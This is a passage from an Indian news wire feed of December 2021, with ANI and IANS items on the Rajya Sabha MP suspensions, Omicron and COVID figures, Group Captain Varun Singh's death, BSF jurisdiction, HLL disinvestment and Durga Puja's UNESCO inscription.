cryptocurrencies in India but it allows for certain exceptions to promote the underlying technology of cryptocurrency and its uses. The Bill was among the 26 new Bills on the agenda of the government for introduction and passage during the winter session which began on November 29. (ANI) The meeting will be chaired by Harish Chaudhary, who is the party in-charge in Punjab. State Congress chief Navjot Singh Sidhu tweeted, "Meeting of all newly appointed District Presidents has been convened at Congress Bhawan Chandigarh at 4 PM sharp for discussion on forthcoming 2022 Vidhan Sabha elections! Harish Chaudhary Ji will chair the imp meeting!!!" Meanwhile, former Punjab Congress president Sunil Jakhar said that the party will finalize details to facilitate "three unsung warriors", who sat on dharna against three farm laws. Jakhar tweeted, "At Campaign Committee meeting today, will finalize details to felicitate Congress Party's three unsung warriors who sat on dharna for over a year at Jantar Mantar in solidarity with protesting farmers." (ANI) Top leadership of the Bharatiya Janata Party, including its President JP Nadda and as many as nine Chief Ministers and Deputy Chief Ministers of party-led states, will be visiting the Ram Janmbhoomi in Uttar Pradesh's Ayodhya on Wednesday. This would be the first such visit by the BJP chief to the Ram Janmbhoomi after the Supreme Court's verdict on the issue. The group's visit assumes significance as Uttar Pradesh is scheduled for Assembly polls early next year. The scheduled visit also includes offering prayers at Hanuman Garhi temple and Saryu Ghat. The BJP national president is being accompanied by his wife on the visit, and the families of the CMs will also be a part of the convoy. Out of the 12 BJP Chief Ministers, Uttar Pradesh's CM Yogi Adityanath would be skipping the visit due to the ongoing Assembly session, while Uttarakhand CM Pushkar Singh Dhami paid his obeisance at the Ram Temple yesterday, before leaving for his state. Himachal Pradesh CM Jai Ram Thakur also had to leave for urgent work in his state. The BJP chief arrived in Varanasi on Sunday ahead of the inauguration of phase 1 of the newly-constructed Kashi Vishwanath Dham by Prime Minister Narendra Modi. Earlier on Tuesday, the Prime Minister, who was on a two-day visit to his parliamentary constituency Varanasi, chaired a meeting with the Chief Ministers and Deputy Chief Ministers of BJP-ruled states in Varanasi. Nadda was also present in the meeting. (ANI) The ministry's press release said, "India's COVID-19 vaccination coverage has exceeded 134.61 Cr (1,34,61,14,483) as per provisional reports till 7 am today. This has been achieved through 1,41,10,887 sessions." It further informed that the recovery of 8,168 patients in the last 24 hours has increased the cumulative tally of recovered patients since the beginning of the pandemic to 3,41,46,931. Consequently, India's recovery rate stands at 98.38 per cent, the highest since March 2020, the ministry said. India has logged 6,984 new COVID-19 cases and 247 deaths in the last 24 hours, the Union Health Ministry informed. "Active cases constitute 0.25 per cent of the country's total positive cases, which is lowest since March 2020," the ministry said. "Weekly positivity rate at 0.67 per cent remains less than 1 per cent for the last 31 days now. The daily positivity rate was reported to be 0.59 per cent. The daily positivity rate has remained below 2 per cent for the last 72 days and below 3 per cent for 107 consecutive days now," the ministry further informed. In the last 24 hours, a total of 11,84,883 tests were conducted across the country. The cumulative COVID tests conducted so far stand at 65.88 crore (65,88,47,816), the ministry said. (ANI) Amid the ruckus created by the Opposition parties seeking the revocation of suspension of 12 MPs from the House, the Rajya Sabha has been adjourned till noon on Wednesday. The Opposition disrupted the proceedings as the Rajya Sabha Chairman M Venkaiah Naidu refused to allow Congress leaders who were claiming that to have moved notice. Soon after the House assembled for the day and the papers were laid on the table, Congress leaders P Chidambaram, Anand Sharma and Jairam Ramesh raised the issue with the Chair to acknowledge the suspension of 12 MPs. Chidambaram and Sharma said that the party has moved notice while Ramesh said "Sir, you have the power to revoke the suspension of 12 MPs". To which the Chairman said, "I have not received any notice yet. I know the rule book. If notice is there, I will go through it...". "Please go to your seat. I think you don't want to let the House function. You are disrupting the proceedings regularly," Naidu said The Chairman started the Zero Hour. Meanwhile, the Opposition members including the Congress, the Nationalist Congress Party (NCP), the Dravida Munnetra Kazhagam (DMK), the Left started sloganeering by standing in House, and several Opposition members also trooped into the Well of the House. Amid the din, the Chairman adjourned the House till noon. In a move that angered the Opposition and set the stage for acrimonious exchanges, a dozen members of Opposition parties in Rajya Sabha were suspended from the Winter session on the very first day on Monday following a motion brought in by the government. The members were suspended for their alleged unruly conduct towards the end of the monsoon session in August when marshals were called after Opposition members stormed the Well of the House during the passage of the General Insurance Business (Nationalisation) Amendment Bill, 2021. The suspended members comprise six from the Congress, two each from the Trinamool Congress and the Shiv Sena, and one each from the CPI and the CPM: Phulo Devi Netam, Chhaya Verma, Ripun Bora, Rajamani Patel, Syed Nasir Hussain and Akhilesh Prasad Singh of the Congress; Dola Sen, Shanta Chhetri of Trinamool Congress; Priyanka Chaturvedi, Anil Desai of the Shiv Sena; Elamaram Kareem of the CPM; and, Binoy Viswam of the CPI. All the suspended 12 MPs used to sit near Mahatma Gandhi statue inside the Parliament premises since they were suspended from the House, and the Opposition parties have been relentlessly disrupting House proceedings every day over the issue barring a few occasions. (ANI) Reacting to the privilege motion moved by several Rajya Sabha Members against him, former Chief Justice of India (CJI) and Rajya Sabha member Ranjan Gogoi on Wednesday said that the law will take its own course. Gogoi further informed that he will not be able to attend Parliament's proceedings today, but was present there on Monday and Tuesday. This comes as Shiv Sena and IUML MPs, earlier in the day, submitted privilege motions against Gogoi on his remarks on attending the House to a media outlet. "Law will take its own course," the former CJI told ANI. "Not today. I was there on Monday and on Tuesday. Should be there tomorrow," he added. Earlier this week, TMC, Congress, SP and CPI(M) also moved a privilege motion against the RS MP over the same issue. The Rajya Sabha MPs said that the statements made by Ranjan Gogoi prima facie constitute a breach of the Council's privilege as they undermine the dignity of the Rajya Sabha. In light of the rules and precedents cited above, the two TMC MPs requested Mody to intervene in this matter and refer this question of privilege to the Committee of Privileges. The winter session of the Parliament commenced on November 29 and is scheduled to conclude on December 23. (ANI) New Delhi [India], December 15 (ANI) The Rajya Sabha on Wednesday adjourned for the second time till 2 pm as the Opposition parties continued their protest and disrupted proceedings of the House seeking revocation of suspension of 12 MPs from the House. Deputy Leader of Congress in Rajya Sabha Anand Sharma cited rule 256 (2) while addressing the Chair and demanded the "termination" of suspension of 12 MPs soon after the House reassembled at noon following the first adjournment over the same issue. The Congress leader also informed that the party has also moved a notice over the issue. Deputy Chairman Harivansh Narayan Singh rejected the appeal, saying "the notice moved by the Congress is inadmissible..." It led to a sharp fierce argument from Opposition parties and most of their members trooped into the Well of the House shouting slogans like "bring back suspension" and "dictatorship will not work". A united Opposition including Congress, TMC, NCP, RJD, AAP, Left, IUML, Shiv Sena, SP, and BDP took part in the protest against the government and the members of these parties also showed placards-- two of which mentioned "save democracy" and "suspend us". The Deputy Chairman continued Question Hour amid the pandemonium. As the members continued their protest, the Deputy Chairman said, "You (Opposition) don't want the Question Hour to run. You cannot come into the Well of the House and shout slogans. It is against the ruling of Rajya Sabha." As the ruckus continued, the Deputy Chairman adjourned the House till 2 pm. Earlier, the House was adjourned till noon by the Rajya Sabha Chairman M. Venkaiah Naidu over the same issue. Soon after the House assembled for the day and the papers were laid on the table at 11 am, Congress leaders P. Chidambaram, Anand Sharma, and Jairam Ramesh raised the issue with the Chair to acknowledge the suspension of 12 MPs. Chidambaram and Sharma then said that the party has moved notice while Ramesh said "Sir, you have the power to revoke the suspension of 22 MPs". The Chairman said, "I have not received any notice yet". "I know the rule book. If notice is there, I will go through it...". "Please go to your seat. I think you don't want to let the House function. You are disrupting the proceedings regularly," Naidu said The Chairman started the Zero Hour. Meanwhile Opposition members including Congress, NCP, DMK, Left started sloganeering by standing in the House, and several Opposition members also trooped into the Well of the House. Amid the din, the Chairman adjourned the House till noon. In a move that angered the Opposition and set the stage for acrimonious exchanges, a dozen members of Opposition parties in Rajya Sabha were suspended from the winter session on the very first day on Monday following a motion brought in by the government. The members were suspended for alleged unruly conduct towards the end of the monsoon session in August when marshals were called after Opposition members stormed the Well of the House during the passage of the General Insurance Business (Nationalisation) Amendment Bill, 2021. The suspended members comprise six from the Congress, two each from Trinamool Congress and Shiv Sena, and one each from CPI and CPM: Phulo Devi Netam, Chhaya Verma, Ripun Bora, Rajamani Patel, Syed Nasir Hussain, and Akhilesh Prasad Singh of Congress; Dola Sen, Shanta Chhetri of Trinamool Congress; Priyanka Chaturvedi, Anil Desai of Shiv Sena; Elamaram Kareem of CPM; and, Binoy Viswam of CPI. All the suspended 12 MPs used to sit near Mahatma Gandhi statue inside the Parliament premises since they were suspended from the House, and the Opposition parties have been relentlessly disrupting House proceedings every day over the issue barring a few occasions. (ANI) Union Parliamentary Affairs Minister Pralhad Joshi on Wednesday took a dig on Congress leader Rahul Gandhi for moving an adjournment motion notice in the Lok Sabha over the Lakhimpur Kheri incident, and said that he has improved, "at least he is giving a notice". Speaking to ANI, Joshi said that the Parliament was "nothing" for the Congress leader earlier. When asked about the notice moved by the Wayanad MP on the Lakhimpur Kheri incident, Joshi said, "The investigation is going on under the supervision of the Supreme Court. Let the notice come and then we will see." "Rahul Gandhi has improved to the extent that he is giving notice. Earlier, Parliament was nothing in front of Rahul Gandhi and he did not give notice. It is a good thing now that he has started giving notice," he added. Parliamentary Affairs Minister's remarks came after the Congress leader gave an adjournment motion notice in Lok Sabha over the Lakhimpur Kheri incident. Besides the Wayanad MP, Congress Leader of the House in Lok Sabha Adhir Ranjan Chaudhry, Gaurav Gogoi and K Suresh also moved adjournment motion notice in the Lower House on the issue of Lakhimpur Kheri. The Congress leaders moved the notice over the issue a day after the Special Investigation Team (SIT) probing the Lakhimpur Kheri violence incident demanded the arrest of the 13 accused, including Union minister Ajay Mishra Teni's son Ashish. The SIT, on the basis of investigation, also moved the court for adding charges of attempt to murder, voluntarily causing grievous hurt by dangerous weapons, and acts done by several persons in furtherance of common intention. On October 3, eight people, including four protesting farmers, died after being mowed down by an SUV allegedly belonging to Union Minister Ajay Mishra Teni's son Ashish Mishra. (ANI) While Chinese media has been letting off steam over what it calls brouhaha about Taiwan calling the People's Liberation Army weak, to the south across the eastern end of the Himalayan Cordillera a different script is being torn into. As India's eastern neighbour and 'garment nation'of the world marks half century of liberation, Prime Minister and Awami League leader Sheikh Hasina on Tuesday railed at what she called terrorists and militia groups responsible for the massacre wrought 50 years ago. The Chinese, though heavily invested in the country, however seem largely oblivious of what's going on about 100 miles south of Arunachal Pradesh, which Beijing likes to call 'South Tibet.' A Chinese person in the UK said he had "heard about the Bangladesh War but doesn't know the details." When approached by IANS, a Chinese state media employee not wishing to be named, said: I knew that Bangladesh used to be part of Pakistan, but I am largely unaware of the history. Has the Himalayan range come in the way of a better understanding of the geopolitics across this geographical barrier? No, says Pankaj Srivastava, an Indian broadcast journalist who worked for about a decade with the Hindi service of China Radio International (CRI) in Beijing. "The Chinese are a people who avoid looking back at history. They are more into the nuances of the next mobile phone model launch or discussing what the latest IT device entails," said Srivastava, who moved to India about two years ago. Has the flailing popularity of humanities contributed to a lack of interest in events of the past? That seems to be one of the important reasons, says the Noida-based journalist. "The clamour for jobs has led to the youth lapping up IT, management and commerce courses, leading to history, sociology, philosophy getting a short shrift. This, he adds, has resulted in a disenchantment with the past and an obsession with the future. Though Bangladesh has thousands of Chinese employed mostly in the construction industry, few would know how the country, once called East Pakistan, achieved liberation. "Chinese expats in Bangladesh socialise with citizens in Dhaka and Chittagong," said Mohammad Ahtasum Haider who hails from Cumilla, which is about 100km from the capital Dhaka. Haider, who lives and works in Qatari capital Doha, has two children back home who are filled with excitement in anticipation of the celebrations. Tahmid Haider and his younger sister Toha Haider will participate in the parade being organised in town on December 16 to commemorate 50 years of the birth of the nation. Politics divides, but cultures unite: three neighbouring countries -- India, Bangladesh and China probably epitomise this. --IANS mukesh/dpb ( 460 Words) 2021-12-15-08:12:23 (IANS) Dr G Srinivas Rao, Director of Public Health and Family Welfare, said, "Two cases of Omicron variant in the state from non-risk countries. A man from Somalia and a woman from Kenya have tested positive for Omicron. They came to Hyderabad via Dubai...We are tracking one more person." He further said, "The child, who is an international traveller, has been tested positive at the airport. He left directly to West Bengal from Hyderabad." Dr Rao said, "The foreign nationals will be quarantined in Hyderabad and after their recovery, they will be sent back to their respective countries. They were in the city for some personal work." (ANI) Singh, addressing the gathering on the occasion of the closing ceremony of the month-long Shaeed Samman Yatra and foundation stone laying ceremony of 'Sainya Dham' in Dehradun, said, "There are powers that want to spoil India's relations with Nepal. As a government representative, I want to tell you that if we need to bow our head, we will do it but we won't let our relations break with our neighbour Nepal." The gathering at the 'Shaheed Samman Yatra' event also observed a minute's silence and paid tribute to Group Captain Varun Singh who passed away at Bengaluru Command Hospital today. Uttarakhand Chief Minister Pushkar Singh Dhami also participated in the concluding ceremony of the Sainya Samman Yatra and Bhoomi Pujan program of Sainik Dham which is to be built in Dehradun. Here they paid homage to the families of 204 martyrs. As per the state government's release, the soil of the courtyard of 1734 martyrs has been brought here for the military dham. "Temples of Shaheed Jaswant Singh and Harbhajan Singh will be built in the military dham being built at a cost of Rs 63 crores. The main gate of Sainik Dham will be named after CDS General Bipin Rawat," they informed. The Amar Jawan Jyoti, Museum, Theatre, Gun, Tank will be the centre of the major attraction in the military dham being built in 50 bighas of land. Shaheed Samman Yatra started from Swad village of Chamoli district on November 15, 2021, culminated today in Guniyal village of Dehradun. (ANI) The Kerala High Court on Wednesday dismissed the petition challenging the reappointment of Dr Gopinath Ravindran as Vice-Chancellor of Kannur University. The Single Bench of Justice Amit Rawal dismissed the petition. The petition contended, "Ravindran was reappointed as the Vice-Chancellor in total disregard to the prohibition contained in Section 10 (9) of the Kannur University Act. The candidate so considered shall initially satisfy the condition provided in Section 10(9) since there is no distinction between appointment and reappointment. Such an appointment can only be after satisfying the procedure provided under clause 7.3 in its entirety of UGC Regulations. When reappointment is made by virtue of the provision contained in Section 10 (10), the law does not provide an exemption to be followed in the case of an incumbent holding the post of Vice-Chancellor. Ravindran's selection and appointment in 2017 were done after the process of selection is no legal justification to bypass the said process and therefore, his appointment cannot be described as an appointment as per law." Earlier this week, a letter from Kerala Higher Education Minister R Bindu was out which recommended the re-appointment of Dr Gopinath Ravindran as Kannur University Vice-Chancellor. In the letter dated 22.11.2021 to the Governor, she had recommended Dr Gopinath Ravindran may be allowed to continue for another term as Vice-Chancellor and to cancel the notification dated October 27 appointing a Search-cum-Selection committee for identifying the person to be appointed as Vice-Chancellor. In another letter on November 22 higher education minister has mentioned that steps have been taken to withdraw notification inviting applications to select a Vice Chancellor for Kannur University. (ANI) As the BJP begins a 72-hour agitation in Singur of West Bengal's Hoogly district, the Trinamool Congress (TMC) alleged that the BJP wants to make it their "turning point" and said that the BJP does not have any relation with the 'objective reality'. Singur is believed to be the land that paved way for Chief Minister Mamata Banerjee's political success. TMC Rajya Sabha MP, Dola Sen while speaking to ANI said, "The fasting movement by Mamata Banerjee was definitely a turning point and perhaps, BJP too wants to encash this place as their turning point through their agitation. BJP does not have any relation with objective reality." "However, one should not forget that Mamata Banerjee is a pioneer of the Kisan movement; had she not raised her voice against the Colonia act of land acquisition in Singur, nobody would have thought of amending it," she added. "Several parties that went to various borders in Delhi and supported the farmers' agitation this time were against Mamata Banerjee then. However, it is good to see that now all have extended their support to the farmers' protest, we welcome it," Sen further said. Meanwhile, BJP MLA Suvendu Adhikari, BJP Kisan Morcha chief Mahadev Sarkar, and others met WB Governor Jagdeep Dhankhar on Saturday. Speaking to ANI earlier, Adhikari said, "West Bengal's condition is bad. There is black marketing of fertilizers and no subsidy on electricity. Three farmers have died by suicide within two months. Mamata Banerjee removed the Pradhan Mantri Fasal Bima Yojana and implemented a third-party scheme. This impacted the farmers badly. A big farmers' movement will take place in Bengal. There will be a central rally." TMC, in its election manifesto for the 2021 Assembly Election, has mentioned increasing the assistance money being provided by the state government to the farmers from Rs 5000-6000 to Rs 10,000. After talks with the then state government under the left regime, Tata company started building its factory for 'Nano cars' at Singur's plot. Soon, the farmers started protesting against the then state government led by Buddhadeb Bhattacharjee. The protest majorly commenced due to the forced acquisition of land by the then left front government for building up Tata Motor's car industry. The stir of 2006 in Singur soon turned into a historic anti-land acquisition movement by the farmers that received foremost support from Trinamool Congress and later by other political parties and intellectuals crossing the state's barrier and international borders. The movement ended in 2011. Singur anti-land acquisition movement is one of two major movements that impelled Mamata Banerjee led TMC to dethrone 34 years old mighty Left front from its governance in Bengal. The other movement that favored TMC was 2007's Nandigram agitation. The snatched land was given back to the farmers legally in 2016 after Supreme Court's verdict. However, the genuine concern of farmers to date remains how to make the land cultivable. (ANI) "Sad to learn that Group Captain Varun Singh breathed his last after putting up a valiant fight for life. Though badly injured in the chopper crash, he displayed the soldierly spirit of valour and indomitable courage. The nation is grateful to him. My condolences to his family," the President said on Twitter Varun Singh succumbed to his injuries at the Command Hospital in Bengaluru, where he was undergoing treatment. He was recently decorated with the Shaurya Chakra by President Ram Nath Kovind for his act of exceptional gallantry. (ANI) BJP chief JP Nadda on Wednesday said that all the Chief Ministers wanted to have 'darshan' of Ram Lalla since everyone gathered in Varanasi for the meeting with Prime Minister Narendra Modi. Addressing the reporters during his visit to Ayodhya, Nadda said, "After the inauguration of Kashi Vishwanath Dham, a meeting of Chief Ministers was held. All of us wanted to have a darshan of Ram Lalla." "We also wanted to review the grand temple that is being built. CMs keep meeting from time to time. Since everyone had come to Kashi they wanted to visit Ram Lalla," he added. The BJP president also added that it was his "heart's desire" that a grand Ram Temple be built here. "It's a matter of joy that the dream of crores of Indians is being realised," he said. Top leadership of the Bharatiya Janata Party, including its President JP Nadda and as many as nine Chief Ministers and Deputy Chief Ministers of party-led states, will visit the Ram Janmbhoomi in Uttar Pradesh's Ayodhya today. This would be the first such visit by the BJP chief to the Ram Janmbhoomi after the Supreme Court's verdict on the issue. The scheduled visit also includes offering prayers at Hanuman Garhi temple and Saryu Ghat. The BJP national president is being accompanied by his wife on the visit, and the families of the CMs will also be a part of the convoy. The group's visit assumes significance as Uttar Pradesh is scheduled for Assembly polls early next year. (ANI) It is not possible to fill the vacuum of late Central Reserve Police Force's (CRPF) Constable Shailendra Pratap Singh in his family, but his colleagues in the force did not leave his sister feel laxity of her elder brother in her marriage solemnised two days ago in Uttar Pradesh's Rae Bareilly. A group of CRPF personnel not only attended the marriage of Jyoti Singh, the youngest among three sisters of Shailendra, the CRPF Constable who lost his life while fighting terrorists in Jammu and Kashmir's Pulwama region on October 5, 2020, but also they performed each and every role supposed to be performed by an elder brother on such occasions. The moment was visible in some pictures shared on the Twitter account of the CRPF-- a 3.25 lakh personnel Central Armed Police Force under the Ministry of Home Affairs with mandated responsibility to provide internal security in the country especially in Jammu and Kashmir as well as Naxal-hit regions. Of the three sisters of Shailendra, two were married before he gave his Supreme sacrifice while serving the nation, and only Jyoti was to be married. As the marriage was solemnised on December 13 in Uttar Pradesh's city Rai Bareilly and Shailendra's colleagues got to know about it, they attended the ceremony to perform the role of elder brothers. "Brothers for life: As elder brothers, CRPF personnel attended the wedding ceremony of Ct Shailendra Pratap Singh's sister. Ct Shailendra Pratap Singh of 110 Bn CRPF made supreme sacrifice on October 5, 2020, while valiantly retaliating terrorist attack in Pulwama," the CRPF tweeted the message with a few pics a day after the marriage. The tweet attracted lots of attention with hundreds of likes and comments that include "a very nice and inspiring gesture", "proud to be part of such force" and many more. The jawans of the country's largest central paramilitary force CRPF performed the ceremony of holding the pavilion at the wedding of the sister of their martyred comrade Shailendra Pratap. Some soldiers were in uniform, the rest were in plain clothes. As soon as the group of force personnel reached Shailendra Singh's house in Rae Bareli, the people present in the marriage ceremony became emotional. While going on the bride's rounds, the CRPF jawans caught the chunari of the pavilion. At that time many people's eyes filled with tears. Shailendra Pratap, who joined the CRPF in 2008, and was posted in the 110th battalion of the force when he lost his life while protecting the country. His company was in Sopore then. His family consists of father Narendra Bahadur Singh, mother Siya Dulari Singh, wife Chandni alias Deepa, sisters Sheela, Preeti and Jyoti. Shailendra Pratap has a nine-year-old son Kushagra. (ANI) Punjab and West Bengal governments have expressed apprehension at the extension of the jurisdiction of the Border Security Force (BSF) and said that such a move encroaches upon the powers of the State, Union Minister for State for Home Affairs Nityanand Rai informed Rajya Sabha on Wednesday. This came after Congress Rajya Sabha MP KC Venugopal asked whether State Governments have registered their unhappiness on an extension of the BSF's jurisdiction. "Government of Punjab and Government of West Bengal have expressed their apprehension that such a move encroaches upon the powers of the StateGovernment. Their apprehensions are ill-founded. The extension of territorial jurisdiction of BSF would result in better and more effective control on trans-border crimes in conjunction and co-operation with States," Rai said in a written reply. Venugopal further asked the MoS Home whether the Central Government has consulted the respective State Governments before taking this decision. "The Centre has amended the 2014 notifications and extended the BSF jurisdiction in Assam, Punjab and West Bengal. There is no change in the territorial jurisdiction of BSF in respect of the State of Tripura," he replied. "Section 139(1) (i) of BSF Act, 1968 empowers the Central Government to confer powers and duties on members of the force in respect of any Central acts for the purposes specified therein," he added. (ANI) The Rajya Sabha on Wednesday adjourned for the day following three earlier adjournments over Opposition parties' continuous uproar seeking revocation of suspension of 12 MPs from the House. The final adjournment was announced by Bhubaneswar Kalitha, who was on the Chair, as the Opposition members kept on sloganeering, and trooped in the Well of the House. Kalitha began short duration discussion over the Omicron variant of coronavirus based on a resolution moved by Trinamool Congress (TMC) MP Sushmita Dev when the House reassembled at 2.18 pm after the third adjournment over the same issue regarding revocation of MP's suspension. The Opposition, however, refused to participate in the discussion until the suspension of MPs is not revoked. A united Opposition including Congress, TMC, NCP, RJD, AAP, Left, IUML, Shiv Sena, SP and BSP took part in the protest against the government and the members of these parties also showed placards -- two of which mentioned "save democracy" and "suspend us". The Opposition members also sat in the Well of the House when the Chair continued a short discussion on the Omicron variant despite the pandemonium was on, and many BJP members spoke on the issue. Terming the Opposition's demand to revoke the suspension of MPs, Leader of the House in Rajya Sabha Piyush Goyal said "they (Opposition) leaders attacked the marshals who do not care for their lives in securing the Parliament". "They do not want to regret on their acts. Even senior members of the Opposition are not ready to repent over the issue. Government is ready to revoke the suspension of the MPs but they will have to regret for their act." Meanwhile, Leader of Opposition Mallikarjun Kharge said "The Opposition is being accused of on those offences which we have not done." From the Chair, Kalitha tried to persuade the Opposition leaders to participate in the short discussion sought by themselves but the din continued. He then adjourned the House till 11 am on Thursday. Earlier, the House faced three adjournments-- first till noon, second till 2 pm and the third till 2.18 pm-- over the issue to revoke the suspension of 12 MPs In a move that angered the Opposition and set the stage for acrimonious exchanges, a dozen members of Opposition parties in Rajya Sabha were suspended from the winter session on the very first day on Monday following a motion brought in by the government. The members were suspended for alleged unruly conduct towards the end of the monsoon session in August when marshals were called after Opposition members stormed the Well of the House during the passage of the General Insurance Business (Nationalisation) Amendment Bill, 2021. The suspended members comprise six from the Congress, two each from Trinamool Congress and Shiv Sena, and one each from CPI and CPM: Phulo Devi Netam, Chhaya Verma, Ripun Bora, Rajamani Patel, Syed Nasir Hussain and Akhilesh Prasad Singh of Congress; Dola Sen, Shanta Chhetri of Trinamool Congress; Priyanka Chaturvedi, Anil Desai of Shiv Sena; Elamaram Kareem of CPM; and, Binoy Viswam of CPI. All the suspended 12 MPs used to sit near Mahatma Gandhi statue inside the Parliament premises since they were suspended from the House, and the Opposition parties have been relentlessly disrupting House proceedings every day over the issue barring a few occasions. (ANI) The Indian Navy on Wednesday informed that INS Sudarshini is currently deployed in the Persian Gulf as part of the Indian Navy's efforts to familiarise friendly foreign Navies with operations and training on Sail Training platforms and towards strengthening 'Bridges of Friendship'. The ship entered Port Rashid, Dubai (UAE) today, after a passage of seven days through the Gulf. This marks the second phase of the ship's deployment in Gulf countries (Oman was from August 5, 2021). The ship would be actively involved in the exchange of professional as well as training aspects with the UAE Navy personnel during the stay in Dubai. (ANI) The plea sought the transfer of this case to Maharashtra DGP Sanjay Pandey and the State's former Chief Secretary Sitaram Kunte. In its order, the Bombay HC has said no case is made out that CBI should not be trusted with the investigation. Earlier in the day, a suspended cop of Mumbai Police, Sachin Waze cleared former Maharashtra Home Minister Anil Deshmukh's name in the extortion case and said that no money was demanded by him or his staff during his tenure at the office. On November 2, Deshmukh was arrested by the Enforcement Directorate (ED) in connection with the alleged Rs 100-crore extortion and money laundering case.The arrest was made after 13 hours of Deshmukh's questioning at the central agency's office Singh had accused Anil Deshmukh of asking dismissed assistant inspector Sachin Waze to collect Rs 100 crore from hotels and bars in Mumbai every month. (ANI) Halting his speech midway at a public function in Dehradun, Union Defence Minister Rajnath Singh on Wednesday requested the people in the rally to pray for the departed soul as he got the news regarding the demise of Indian Air Force (IAF) Group Captain Varun Singh. The news of IAF Group Captain Singh's demise broke when Rajnath Singh was in Dehradun to attend the closing ceremony of a month-long "Shaheed Samman Yatra" and lay the foundation stone for 'Sainya Dham'. Group Captain Singh, the lone survivor of the chopper crash that killed CDS General Bipin Rawat, his wife and 11 others last week, was under treatment at Command Hospital in Bengaluru. He succumbed to the injuries during his treatment at the hospital in the afternoon today. "Just now I have received the tragic news of the demise of Group Captain Varun Singh, who was also in the helicopter of General CDS Bipin Rawat that crashed last week. He was undergoing treatment at Command Hospital in Bengaluru where he succumbed to his injuries. May his soul rest in peace. I request all of you to stand up and pay homage to the departed soul," the minister said. He added that Group Captain Varun Singh was a well-trained fighter pilot. "I would not like to say more on this occasion. I would rest my speech," he said. (ANI) In order to facilitate the speedy trial of the National Investigation Agency (NIA) cases, 49 special courts have been designated across the country so far, said the Ministry of Home Affairs on Wednesday. The Union Home Ministry also informed that cases under the Unlawful Activities (Prevention) Act (UAPA) are probed by state police and NIA. In a reply to Rajya Sabha, Nityanand Rai, Minister of State for Home Affairs on Wednesday said, "Cases under UAPA are investigated by state police and the National Investigation Agency. As far as NIA is concerned, so far for the speedy trial of NIA cases." Meanwhile, MoS Rai on Tuesday had told Lok Sabha that said that no amendments to the UAPA are presently under consideration. In a written reply to the Lower House, the minister had said, "There are adequate constitutional, institutional and statutory safeguards including inbuilt safeguards in the UAPA itself, to prevent the misuse of the law. The UAPA has been amended in the past keeping in view the requirement. Presently, no amendments in the UAPA are under consideration." Over a question by the Opposition on whether there has been any custodial deaths reported of the persons during their stay in custody under this law, Rai had stated, "The information regarding custodial deaths of the persons in custody under the UAPA is not maintained by National Crime Records Bureau (NCRB)." In the monsoon session of the Parliament earlier this year, the Union Home Minister had said that as per the National Crime Records Bureau (NCRB) data a total of 1,948 persons were arrested and 34 were convicted under the Unlawful Activities Prevention Act (UAPA) in 2019. (ANI) An uneasy calm is prevailing among close to 10,000 employees at the mini-ratna public sector undertaking -- HLL, ever since the finance ministry began the process to disinvest it. The employees are deeply upset with the move and on the anvil are a series of protests which are expected to be announced anytime now by the employees. The government gave its "in-principle" approval for HLL's disinvestment in July and in their most latest advertisement released by the finance ministry's Department of Investment and Public Asset Management sought bids for a 100 per cent stake sale in the company by January 31, 2022. At present there are various categories of people employed at HLL which include 3,900 direct employees and the rest comprises of contract third party and laboratory staff. Established in 1966, HLL has come a long way as part of the implementation of the Family Planning Programme of Government of India under the Ministry of Health & Family welfare and from a contraceptive manufacturing company, in its journey from then, it is now a total healthcare company and in its growth trajectory it has won numerous accolades not only from the government but at international level too. What their employees are now saying in hush tones is that a healthcare company like HLL in the government sector provided absolute credibility to the general public through its products and services and what they are deeply upset about is that there is no word on the status of the present employees and what will happen to their future. "Just look at the Covid pandemic where we were rightly named as 'Mission Covid-19', the team at HLL fought all odds to ensure there is enough supply of medical equipment including surgical masks, protective suits, and safety goggles for the front-line medical workers across the country. Did such a thing happen in the private sector," asked an employee. The HLL have by now supplied medical devices to various medical institutions in 29 states and 7 Union Territories. "We will first approach the various political leadership to prevail upon them to see that HLL continues in the public sector and if it fails then we will have no other option but to go forward with a series of unique protests," added the distraught employee. The HLL ended the previous fiscal with a turnover of Rs 5,081 crore and had a profit of Rs 112 crore. "Over the years the credibility of HLL and its products and services have had an unblemished track record and when it turns private, naturally there will be a lot of compromises and the end result is, the common man will suffer," added the employee. --IANS sg/skp/ ( 458 Words) 2021-12-15-13:47:44 (IANS) United Nations Educational, Scientific and Cultural Organization (UNESCO) on Wednesday inscribed "Durga Puja in Kolkata" on the "Representative List of the Intangible Cultural Heritage of Humanity". "Congratulations! Durga puja is now inscribed on the UNESCO Representative List of the Intangible Cultural Heritage of Humanity! 14 ICH elements from India have been inscribed on this list by the Intergovernmental Committee for the Safeguarding of Intangible Cultural Heritage," tweeted UNESCO. Following the announcement, Prime Minister Narendra Modi expressed his delight calling it a "great pride and joy" for the countrymen. Taking to Twitter, Prime Minister said, "A matter of great pride and joy for every Indian! Durga Puja highlights the best of our traditions and ethos. And, Kolkata's Durga Puja is an experience everyone must have." Celebrated in Shukla Paksha of the month Ashwin in the Hindu calendar (September-October), Durga Puja is the major annual festival in West Bengal. It is also celebrated in other parts of India and especially amongst the Bengali diaspora. The ten-day festival marks the worship of Goddess Durga. Months before the festival, artisanal workshops in Kolkata sculpt idols of Durga and her children (Lakhsmi, Saraswati, Kartik and Ganesh) using unfired clay from the river bed of Ganga. The festival marks its beginning on the day Mahalaya when the ritual of 'pran pratistha' is done by painting the eyes on the goddess idol. Sasthi, Saptami, Ashtami...every day the festival has its own significance and set of rituals. The celebrations culminate on the tenth day known as Vijaya Dashami when the idols are immersed in the river from where the clay was sourced. The significance of Durga puja goes beyond religion and is revered as the celebration of compassion, brotherhood, humanity, art and culture. The city of Kolkata turns into a dazzling diva with the decoration of colourful lights. The sound of 'dhaak' reverberates across the city. From new clothes to delicious food, there remains a merry-go-round mood during these days. (ANI) Amid Omicron cases tally in the country rising to 49, the experts, though terming the variations in RNA viruses as common, lay emphasis on being watchful against the variant. Though the infection caused by the Omicron variant of COVID-19 has mild symptoms, the health experts reiterated on maintaining COVID appropriate behaviour along with being watchful. Speaking to ANI, Director of Jawaharlal Institute of Postgraduate Medical Education & Research (JIPMER) in Puducherry Dr Rakesh Aggarwal said, "For RNA viruses like SARS-COV-2 virus, the variations are common and new variants arise. The variants are of concern only in one of the three situations. First, if they multiply faster, which the current new Omicron variant is doing. Second, if they cause a disease that is more severe. However, till now Omicron does not appear to be causing a very serious illness. Third, if it is not protected by the vaccine for previous infections." Evidence till date have shown that the latest variant multiplies at a faster rate causing infection to spread faster but the cases reported in India showed mild symptoms. "Even though people already infected with COVID or vaccinated against 